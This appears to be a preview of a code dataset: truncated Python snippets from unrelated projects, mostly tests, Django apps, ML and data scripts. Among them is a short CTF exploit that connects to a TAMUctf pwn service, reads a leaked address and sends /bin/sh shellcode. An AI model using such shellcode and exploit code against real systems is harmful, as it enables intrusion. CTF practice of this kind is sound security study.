content
stringlengths
5
1.05M
import pytest from django.db import IntegrityError from salary_calculator.models import Year, Month, Day @pytest.mark.salary_calculator_models class TestYear: def test_string_representation(self, year): assert str(year) == 'test@email.com, 2021' def test_unique_together(self, year): with py...
#!/usr/bin/env python import sys, math, itertools, getopt def usage(): print >>sys.stderr, 'Usage:', sys.argv[0], '[-s slash_threshold] input file' sys.exit(0) optlist, args = getopt.getopt(sys.argv[1:], 'hs:') slash_threshold = None for opt, arg in optlist: if opt == '-s': slash_threshold = int(...
# This package will contain the spiders of your Scrapy project # # Please refer to the documentation for information on how to create and manage # your spiders. SpiderDebug = False
from ptrlib import * sock = Socket("pwn.tamuctf.com", 4323) #sock = Socket("localhost", 4323) _ = input() sock.recvuntil("journey") addr = sock.recvuntil("!").rstrip(b"!") addr_shellcode = int(addr, 16) dump("&shellcode = " + hex(addr_shellcode)) shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73" shellcode += b"\x68\x68\x2f...
# splot match_player_result.csv into test and train data. # 1/3 test.csv # 2/3 train.csv # record are selected randomly import csv import random test = [] train = [] test_train_determinant = [True]*20000 + [False]*30000 # test_train_determinant[i] === True meaning row i in data belong to training set random.shuffle...
#!/usr/bin/env python3 # I ran from the shell: # . ./path.sh # steps/nnet3/report/convert_model.py exp/chain/tdnn1g_sp/24.mdl{,.pkl} # steps/nnet3/report/convert_model.py exp/chain/tdnn1g_sp/25.mdl{,.pkl} # .. and then this script: # local/chain/diagnostic/report_example.py # Note: I make no claim that the informatio...
TEXTWIDTH = 7.1398920714 LINEWIDTH = 3.48692403487 import matplotlib as mpl import matplotlib.pyplot as plt from scipy.optimize import curve_fit try: global_setup(fontsize=10) except: pass plt.rcParams.update({"text.usetex": False, "font.size": 10}) from joblib import Parallel, delayed # for parallel simula...
# Copyright (c) Facebook, Inc. and its affiliates. All Rights Reserved import argparse import glob import multiprocessing as mp import os import time import cv2 import tqdm import math import numpy as np import platform import numba from numba import jit from detectron2.config import get_cfg from detectron2.data.detec...
# # CanvasRenderPil.py -- for rendering into a PIL Image # # This is open-source software licensed under a BSD license. # Please see the file LICENSE.txt for details. import math # force registration of all canvas types import ginga.canvas.types.all # noqa from ginga import trcalc from . import PilHelp class Rend...
import os import glob import csv import pandas as pd import numpy as np from collections import deque from itertools import chain from utils import rotate_quat, rotate_cross_product class Sensor(object): def __init__(self, name, fieldnames, data): self.name = name self.fieldnames = fieldnames ...
import discord from discord.ext import commands class Updateg: def __init__(self, bot): self.bot = bot async def on_member_update(self, before, after): BeforeGame = str(before.game) AfterGame = str(after.game) if AfterGame != BeforeGame: if AfterGame == "...
import logging import json from typing import List, Tuple from exceptions import RuntimeError _LOGGER = logging.getLogger('mme') class DIDManager: def __init__(self) -> None: self._dids = self._load_dids(file='json/did/dids.json') self._dids_by_name = self._dids_organized_by_name(self._dids) ...
from .sweetify import *
from flask_sqlalchemy import SQLAlchemy from datetime import datetime import os # The production database path is stored in HEROKU environment if 'DATABASE_URL' in os.environ: # the HEROKU environment. database_path = os.environ['DATABASE_URL'] else: # This is a local environment database_name = os.env...
from datetime import datetime from intent_parser.table.intent_parser_cell import IntentParserCell from intent_parser.table.experiment_status_table import ExperimentStatusTableParser from intent_parser.table.intent_parser_table_factory import IntentParserTableFactory import intent_parser.constants.ta4_db_constants as ta...
#!/usr/bin/env python3 # -*- coding: UTF-8 -*- # Python standard library from __future__ import print_function # Local imports from utils import os, fatal, err, permissions import os # required for call in line 30: 'permissions(parser, user_option, os.R_OK)' def genome_options(parser, user_option, prebuilt): ""...
import ROOT as rt from larcv import larcv import sys sys.argv.append("-b") #superafile = "/media/hdd2/taritree/larflow/xfer/larcv_5477923_0.root" superafile = "../../../../../testdata/larcv_5482426_95.root" io = larcv.IOManager(larcv.IOManager.kBOTH) io.add_in_file( superafile ) io.set_out_file( "baka.root" ) io.ini...
import sys import yaml import os import datetime import pkgutil import argparse import subprocess import uuid yaml_files = '/home/aditya/train_configs/' job_template_file = 'kubernetes/training_template/job.yml' service_template_file = 'kubernetes/training_template/service.yml' def launch_master(runtime_cmd): tra...
import typer from typing import Any from datetime import datetime from oc_chess_club.controller.config_loader import _CONFIG from oc_chess_club.controller.database_handler import DatabaseHandler import oc_chess_club.views.main_menu as _MAIN_MENU import oc_chess_club.views.player_views as _PLAYER_VIEWS import oc_chess...
#!/usr/bin/env python #coding: utf-8 __author__ = 'stsmith' # congress_lookup: Look up information about congress from the congress-legislators database # See: https://github.com/unitedstates/congress-legislators and https://github.com/TheWalkers/congress-legislators # The project is in the public domain within the U...
import pandas as pd import nltk import ftfy def fix_text(series): return series.apply(lambda x: ftfy.fix_text(x)) def split_evidence(series, tokenizer): series = series.apply(lambda x: x.replace('"', '')) # Replacing off quotation marks return series.apply(lambda x: tokenizer.tokenize(x)) def compute_int...
from pyocd.core.helpers import ConnectHelper from pyocd.debug.elf import decoder from elftools.elf.elffile import ELFFile import logging logging.basicConfig(level=logging.ERROR) def getSymbol(symbol): file = open("cmake-build-debug-arm-toolchain/testFirmware_f103.elf","rb") ELF = ELFFile(file) decode = dec...
# Generated by Django 3.1.2 on 2020-10-27 11:38 from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('order', '0004_auto_20201027_0836'), ] operations = [ migrations.RemoveField( model_name='order', name='total', ), ...
from statistics import mean from time import time import matplotlib.pyplot as plt import numpy as np from collections import defaultdict from sklearn.metrics import accuracy_score, mean_squared_error from sklearn.model_selection import train_test_split from sklearn.preprocessing import MinMaxScaler from sklearn.tree i...
import numpy as np import os import sys import tensorflow as tf from imutils.video import VideoStream import cv2 import imutils import time from imutils.video import FPS from sklearn.metrics import pairwise import copy import pathlib from collections import defaultdict colors = np.random.uniform(0, 255, size=(100, 3...
import pytest import mock import numpy as np from zinv.modules.readers import TriggerChecker class DummyEvent(object): def __init__(self): self.iblock = 0 self.config = mock.MagicMock() self.config.dataset.isdata = True self.config.dataset.name = "MET_Run2016F_v1" self.cach...
import sys from collections import defaultdict from itertools import product, combinations import gzip import bz2 def seq_neighborhood(seq, n_subs=1): """ Given a sequence, yield all sequences within n_subs substitutions of that sequence by looping through each combination of base pairs within each c...
import os import xgboost as xgb def model_fn(model_dir): model = xgb.Booster() model.load_model(os.path.join(model_dir, 'xgboost-model')) return model
import requests def modify_pwd(pwd, idx): # password format XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX if idx in [8, 13, 18, 23]: return pwd[:idx] + '-' + pwd[idx + 1:] c = passwd[index] modified = chr(ord(c) + 1) if c == '9': modified = 'a' if ord(modified) > ord('f'): ra...
import bpy @bpy.app.handlers.persistent def there_node_group_handler(dummy): node_tree = bpy.data.node_groups.get('There BSDF') if node_tree is None: node_tree = bpy.data.node_groups.new(type='ShaderNodeTree', name='There BSDF') else: node_tree.links.clear() node_tree.nodes.clear()...
from . import pipeline from . import config
from django.conf import settings from django.http import HttpResponse, JsonResponse import random import uuid import logging tracer = settings.OPENTRACING_TRACER logging.basicConfig(level=logging.INFO) logger = logging.getLogger(__name__) @tracer.trace() def dispatch(request, order_num): if random.randint(1, 5)...
from django.contrib import admin from .models import Genre, FilmWork, Person, FilmWorkPerson, FilmWorkGenre class PersonRoleInline(admin.TabularInline): model = FilmWorkPerson extra = 0 exclude = ['id'] class GenreInline(admin.TabularInline): model = FilmWorkGenre extra = 0 exclude = ['id']...
import os import sys import yaml from wheeljack import DEFAULT_CONFIG from wheeljack.exceptions import ReposConfigException __config = None def _clear_cache(): """Clear the config cache.""" global __config __config = None def get_config_filename(): """Gets the configuration file which defines all...
''' Python module for Mopidy Pummeluff registry. ''' __all__ = ( 'RegistryDict', 'REGISTRY', ) import os import json from logging import getLogger from mopidy_pummeluff import tags LOGGER = getLogger(__name__) class RegistryDict(dict): ''' Class which can be used to retreive and write RFID tags t...
import numpy import time from pyscf.scf import hf from pyscf.dft import rks from .fermi import find_efermi, entropy_corr def calc_ne(ks,dm): mol = ks.mol s = mol.intor_symmetric('int1e_ovlp') ne = int(numpy.trace(numpy.dot(dm,s))) return ne def energy_elec(ks, dm=None, h1e=None, vhf=None): tot...
import time import tkinter import socket import rolypoly_pb2 def millitime(): return int(time.time() * 1000) UDP_MAXLEN = 1024 my_id = millitime() my_name = 'Anonym' + str(my_id) receiver_id = 0 sock = s_addr = s_port = None users_list = {} window = tkinter.Tk() messages = tkinter.Text(window) messages.pa...
import re dic2cyr = {'a': 'а', 'b': 'б', 'v': 'в', 'g': 'г', 'd': 'д', 'e': 'э', 'ž': 'ж', 'š': 'ш', 'e̮': 'ӧ', 'ə': 'ө', 'ǯ́': 'ӟ', 'ǯ': 'ӝ', 'č́': 'ч', 'č': 'ӵ', 'z': 'з', 'i': 'ӥ', 'j': 'й', 'k': 'к', 'l': 'л', 'm': 'м', 'n': 'н', 'o': 'о', '...
''' @Description: DataModel @Author: Gravitykey @Date: 2019-08-07 14:00:46 @LastEditTime: 2019-08-27 11:32:58 @LastEditors: Gravitykey ''' from . import fetch import time import json from ..region import _REGION_NAME, _SUB_REGION_NAME, get_region_name def make_task_id(aid_or_mid): ''' @description: make a ta...
#!/usr/bin/env python from __future__ import print_function import argparse import xml.dom.minidom import gsd.fl import gsd.hoomd import numpy from collections import OrderedDict def parse_typenames(typename_list): ntypes = 0; mapping = OrderedDict(); for t in typename_list: if t not in mapping: ...
# Dropspin, by Al Sweigart al@inventwithpython.com # TODO - check when puzzle is complete import sys, random, copy BLOCK_CHAR = chr(9608) TOP_BLOCK = chr(9600) # Character 9600 is '▀' BOTTOM_BLOCK = chr(9604) # Character 9604 is '▄' FULL_BLOCK = chr(9608) # Character 9608 is '█' NO_BLOCK = ' ' BORDER_CHAR = chr(96...
import os import time from pyecharts import Kline from PyQt5.QtCore import QObject, pyqtSignal class KlineChartSignal(QObject): html_chart_generated = pyqtSignal(str) def connect_html_chart_generated(self, function, message=None): if function is not None: self.html_chart_generated.connect(...
class Solution(object): def levelOrderBottom(self, root): """ :type root: TreeNode :rtype: List[List[int]] """ self.result = [] self.buildOrder(root, 0) self.result.reverse() return self.result def buildOrder(self, root, depth): ...
import datetime from django.test import TestCase from graphql.language import ast from graphql_extensions import types class TimestampTypeTests(TestCase): def test_timestamp(self): now = datetime.datetime.now() timestamp_type = types.Timestamp() node = ast.IntValue(now.timestamp()) ...
import argparse import re from typing import Generator, Tuple import sys import pandas as pd COMMENT_LINE_REGEX = re.compile( r'^>(?P<id>AT[1-5MC]G\d{5}) \| (?P<chr>chr[1-5MC]):(?P<start>\d+)-(?P<end>\d+) (?P<direction>REVERSE|FORWARD) ' r'LENGTH=(?P<length>\d+)$', re.I) def non_negative_num(s): val...
numero = int(input("Digite um número e o programa te dirá se esse número esta entre 100 e 200")) if numero >= 100 and numero <= 200: print("Está entre 100 e 200.") else: print("O número não está entre 100 e 200.")
import sys, os myPath = os.path.dirname(os.path.abspath(__file__)) sys.path.insert(0, myPath + '/../') import pytest import investigate # use the local path, instead of what has been installed @pytest.fixture def inv(): return investigate.Investigate(os.environ['INVESTIGATE_KEY'])
from delivery.simulation.model.place import Place class Warehouse(Place): id = 0 def __init__(self, location, products): super().__init__(location) self.id = Warehouse.id Warehouse.id += 1 self.products = products def product(self, product_type): product = Non...
#!/usr/bin/python3 import os, sys, re import string import argparse import yaml import json import requests from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) options = { 'gophish_addr': '', 'token' : '', 'file' : '',...
import numpy as np from transformers.modeling_outputs import SequenceClassifierOutput from .base import _forward_onnx, _warmup_onnx_graph from transformers import ZeroShotClassificationPipeline import torch class OptimumZeroShotClassificationPipeline(ZeroShotClassificationPipeline): def __init__(self, *args, onnx...
from hn_front_page_rss import create_app app = create_app() app.run("0.0.0.0", 8080, debug=False,)
# Copyright 2014 The Chromium OS Authors. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. """Test the failures_lib module.""" from __future__ import print_function from chromite.cbuildbot import constants from chromite.cbuildbot import failur...
# encoding: utf-8 # # 2017.10.10 v0.1 # # encoding: utf-8 # 基隆市資料清單 nodeListKL = [10340,10344,11093,11257,11271,14864,14869,15152,15293,23198,23201, 27495,28983,28987,28988,28993,28994,28995,29021,31159,31251,31818, 31819,31848,31849,31850,31858,31862,36947,38824,42338,42578,44662, ...
import RPi.GPIO as GPIO import time # Default pin allocations TRIG = 2 ECHO = 3 #Function block to measure Distance def get_distance(trigger_pin = TRIG, echo_pin = ECHO): GPIO.setwarnings(False) # Use BCM Mode for pin numbering GPIO.setmode(GPIO.BCM) #Set Trigger pin as output and echo pin as input...
''' @author: Souvik Das Institute: University at Buffalo ''' import demoji, re, datetime import preprocessor # demoji.download_codes() class TWPreprocessor: @classmethod def preprocess(cls, tweet, context): ''' Do tweet pre-processing before indexing, make sure all the field data types are ...
# _read_h5ad.py __module_name__ = "_read_h5ad.py" __author__ = ", ".join(["Michael E. Vinyard"]) __email__ = ", ".join(["vinyard@g.harvard.edu",]) # package imports # # --------------- # from anndata import read_h5ad def _read_h5ad(h5ad_path, silent=False): """Wraps anndata.read_h5ad""" adata = ...
__all__ = [ 'Query', ] class Query(object): def __init__(self): self.unique_mode = False
import re from base64 import b64decode from unshortenit.module import UnshortenModule from unshortenit.exceptions import UnshortenFailed class AdfLy(UnshortenModule): name = 'adfly' domains = set([ 'adf.ly', 'j.gs', 'q.gs', 'u.bb', 'ay.gy', 'atominik.com', ...
from flask import Blueprint api_blueprint = Blueprint('api', __name__, url_prefix='/api/v1')
from django.db.backends.mysql.operations import \ DatabaseOperations as BaseDatabaseOperations class DatabaseOperations(BaseDatabaseOperations): def quote_name(self, name): if name.startswith("`") and name.endswith("`"): return name return "`%s`" % name
''' The MIT License (MIT) Copyright (c) 2016 WavyCloud Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, p...
import json import datetime import os import time from threading import Lock from multiprocessing.pool import ThreadPool from collections import defaultdict import requests from pyhmy.util import ( json_load, datetime_format ) from .common import ( Loggers, get_config, ) def live_info(accounts, inte...
#!/usr/bin/env python # coding: utf-8 import sys import os import re import time import json import warnings warnings.filterwarnings('ignore') sys.path.append('/Users/dipakrimal/work/') from neighborhoods import gps_to_neighborhood from datetime import datetime, date, time, timedelta import numpy as np import matplotl...
#!/usr/bin/env python3 # -*- coding: utf-8 -*- import sys, os, os.path as op, re import fileinput as fi from glob import glob all_files = [f for files in sys.argv[1:] for f in glob(files)] f = fi.FileInput(all_files, openhook=fi.hook_encoded("iso-8859-1")) try: for line in f: if f.isfirstline(): datos = [] ...
""" SVG export test """ import test import pyqtgraph as pg app = pg.mkQApp() class SVGTest(test.TestCase): #def test_plotscene(self): #pg.setConfigOption('foreground', (0,0,0)) #w = pg.GraphicsWindow() #w.show() #p1 = w.addPlot() #p2 = w.addPlot() #p1.plot([1...
""" A simple gridworld demo. This demo instantiates a gridworld and an agent that will learn to get to the goal in the world using reinforcement learning. $Id;$ """ import pdb # We may need the debugger import sys,getopt ######################################################################## # Import what we need...
# Generated by Django 3.2.7 on 2021-09-28 15:24 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [("blockchain_eth", "0004_transaction_type")] operations = [ migrations.AddField( model_name="transaction", name="hash", ...
# -*- coding: utf-8 -*- import sys import os import re from mapproxy.script.util import main as map_main import yaml import json def build_caches(): stream = open("manatee_raw.yaml", "rt") data = yaml.load(stream, Loader=yaml.Loader) print(data) # strip the toplayer level from the layers this is fro...
import numpy as np def get_intersection_bbox(bbox1, bbox2, image_width, image_height): l1, t1, w1, h1 = bbox1 r1 = l1 + w1 b1 = t1 + h1 l2, t2, w2, h2 = bbox2 r2 = l2 + w2 b2 = t2 + h2 l = max(l1, l2) r = min(r1, r2) t = max(t1, t2) b = min(b1, b2) l = max(0, l) r = m...
## Functions import math import numpy as np def linear(input, weight, bias=None): output = np.matmul(input, weight.T) if bias is not None: output += bias return output def conv2d(input, weight, bias=None, stride=(1, 1), padding=(1, 1), dilation=1, groups=1, padding_mode='zeros'): in...
import discord version = '2.3.0' prefix = '==' COGS = [ 'jishaku', 'cogs.admin', 'cogs.misc', 'cogs.raid', 'cogs.rdanny', 'cogs.timeout', # 'cogs.logchamp', ] ADMINS = { 204414611578028034, # rev 304695409031512064, # dove 426550338141683713, # dee 224323277370294275, ...
""" 2015 - Day 1: http://adventofcode.com/2015/day/1 """ from collections import Counter def count_steps(input_str): """Count steps up/down ( '(' / ')' )""" counter = Counter(input_str) return counter['('] - counter[')'] def detect_basement(input_str): """Return the first time counter goes negative"...
""" ====== GUI Design By: Sancho Godinho (sanchogodinho98@gmail.com) ====== ====== Images By: Flaticon (https://flaticon.com) ====== \\ Please Do Not Delete the Images Folder! \\ Please Do Not Clear This Comment! \\ You Are Allowed to Customize this Script. \\ If you want to share this script or Customize...
#!/usr/bin/env python3 # -*- coding: utf-8 -*- # Email: chenwx716@163.com # DateTime: 2018-07-25 13:46:42 __author__ = "chenwx" import sys import json import redis import yaml from pathlib import Path from lib.format_data import Format_data from lib.worklog import My_log from lib.bunnycDB import BunnycDB from lib.daem...
from sqlalchemy import create_engine from sqlalchemy.orm import sessionmaker, scoped_session import pymysql from .. import config import threading pymysql.install_as_MySQLdb() engine = create_engine(config.database.url, pool_size=50, pool_pre_ping=True, pool_recycle=290, max_overflow=50) session = sessionmaker(bind=en...
# _*_coding:utf-8- ''' class Joker: print ('Joker') ''' ''' class Joker2: a=1000 # print a if __name__=='__main__': print Joker2.a ''' ''' class shu: #num=eval(raw_input('Please input a number:')) def __init__(self): self.shu1='shi ou shu' self.shu2='shi ji shu' def fuc(self): ...
#!/usr/bin/python3 # -*- coding: utf-8 -*- from telethon import TelegramClient, events from telethon.tl.functions.messages import GetStickerSetRequest from telethon.tl.types import InputStickerSetID import time import urllib.request import os import sys import hashlib import threading from configparser import ConfigPa...
from unittest import TestCase from musurgia.fractaltree.fractaltree import FractalTree, FractalTreeException, SetValueFirst class Test(TestCase): def test_1(self): ft = FractalTree() ft.value = 50 ft.add_layer() self.assertEqual(sum([leaf.value for leaf in ft.get_leaves()]), ft.va...
#akara.resource.index """ """ #self.policy - instance of L{akara.policy.manager} __all__ = ['simple_xpath_index'] import amara from amara.tree import node from amara.lib.util import * from amara.namespaces import AKARA_NAMESPACE def simple_xpath_index(self, content, patterns): results = {} doc = content if...
import operator import string from matasano import xor_strings, naive_score, break_single_xor ciphertext = '1b37373331363f78151b7f2b783431333d78397828372d363c78373e783a393b3736' results = {} text = break_single_xor(ciphertext, score=naive_score) assert text[0] == "Cooking MC's like a pound of bacon"
from dataclasses import dataclass @dataclass class Player: """Class of players's data""" name: str tab_number: int symbol: str type: str def __init__(self, name:str, tab_number:int, symbol:str, type:str): self.name = name self.tab_number = tab_number self.s...
# DO NOT EDIT THIS FILE. This file will be overwritten when re-running go-raml. """ Auto-generated class for MultipleInheritance """ import capnp import os from .EnumCity import EnumCity from six import string_types from . import client_support dir = os.path.dirname(os.path.realpath(__file__)) class MultipleInheri...
from os import path, environ import psycopg2 class Connection(): _conn = None def __init__(self, host, dbname, user, passw): self._conn = psycopg2.connect(host=host, database=dbname, user=user, password=passw) def commit(self): self._conn.commit() def rollback(self): self._...
import os with open('secret_key.txt', 'wb') as f: f.write(os.urandom(24))
from blackbeard2109.ML import * from blackbeard2109.visualization import * from blackbeard2109.Data_Cleaning_librery import *
# Make sure the doctests in the docs can import the module import sys sys.path.insert(0, '.') collect_ignore = ["setup.py", "docs/conf.py"]
from __future__ import unicode_literals from django.apps import AppConfig class ApiV10Config(AppConfig): name = 'api_v_1_0'
#!/usr/bin/env python # -*- coding: utf-8 -*- import glob import logging import multiprocessing import pygame.freetype import pygame.gfxdraw import pygame.locals from pygame import Rect from glitchygames.color import BLACKLUCENT, BLACK, YELLOW, GREEN, BLUE from glitchygames.color import PURPLE, WHITE from glitchygame...
"""Version.""" import sys from typing import Iterator DEFAULT_VERSION_TARGETS = { 'Power ML': 'power_ml', 'IPython': 'IPython', 'Numpy': 'numpy', 'Pandas': 'pandas', 'Matplotlib': 'matplotlib', 'Scikit-learn': 'sklearn', 'Tensorflow': 'tensorflow', 'ipywidgets': 'ipywidgets', 'tqdm...
from websocket import create_connection import logging def connect_ping_socket(host,protocol="energistics-tp"): logging.debug("Conneting to host:"+host) return create_connection("ws://"+host+"/m_etp_socket_ping", header=["Sec-Websocket-Protocol: "+protocol]) def connect_service_socket(host,encoding="binary"): lo...
import torch import torch.nn as nn from torch.optim import SGD, Adam from torch.optim.lr_scheduler import CosineAnnealingLR, CosineAnnealingWarmRestarts from tensorboardX import SummaryWriter from tqdm import tqdm import time from models.ENAS.child import ENASchild from util import * class ENAStrainer : def __init__...
import locale import uuid import dbus from dbus import DBusException class DBusResult: def __init__(self, track_id: str, playback_status: str, lines: []): self.track_id = track_id self.playback_status = playback_status self.lines = lines class DbusAPI: def __init__(self): se...
from matplotlib import pyplot as plt import pandas as pd # plt.xkcd() # plt.style.available plt.style.use('fast') data = pd.read_csv('median_salary_data.csv') ages_x = data['Age'] dev_salaries = data['All_Devs'] py_dev_salaries = data['Python'] js_dev_salaries = data['JavaScript'] overall_median = 57287...
""" Standardized layers implemented in keras. """ from warnings import WarningMessage from tensorflow.keras import layers import tensorflow as tf from .utils import single_layer_call, as_activation, as_normalization, GELU from functools import reduce import warnings BLOCKS = {} def register(*names): "Regist...
import pandas as pd import re import jieba import json import string from zhon.hanzi import punctuation import sys global stop_words_list, label_dict def delete_punctuation(s): trantab = str.maketrans({key: None for key in string.punctuation}) s = s.translate(trantab) for i in punctuation: s = s....
from queue import Queue from parse_input import * class Solution(object): # DFS: O(N) time, O(logN) space def minDepth_DFS(self, root): if not root: return 0 depth_left = self.minDepth_DFS(root.left) depth_right = self.minDepth_DFS(root.right) if depth_left > 0 a...
import tarfile import urllib import numpy as np import matplotlib.pyplot as plt import pandas as pd import seaborn as sns from sklearn.cluster import KMeans from sklearn.decomposition import PCA from sklearn.metrics import silhouette_score, adjusted_rand_score from sklearn.pipeline import Pipeline from sklearn.prepro...
from enum import IntEnum, IntFlag, unique FONTSIZE=10 # keyboard constants @unique class keytable(IntEnum): KEY_RESERVED = 0 KEY_ESC = 41 KEY_1 = 30 KEY_2 = 31 KEY_3 = 32 KEY_4 = 33 KEY_5 = 34 KEY_6 = 35 KEY_7 = 36 KEY_8 = 37 KEY_9 = 38 KEY_0 = 39 KEY_MINUS = 45 ...
# 6. A program that takes as input the quantity of flour expressed in grams and a percentage (e.g. a number between 0 and 100) that represents the quantity of water to use, and computes the water amount in grams x= float(input('Quantity of flour (g):')) y= float(input('Hydratation degree (%):')) if y > 100 or y < 0: ...
from .auth import OmeroAuthenticator __all__ = [ 'OmeroAuthenticator', ]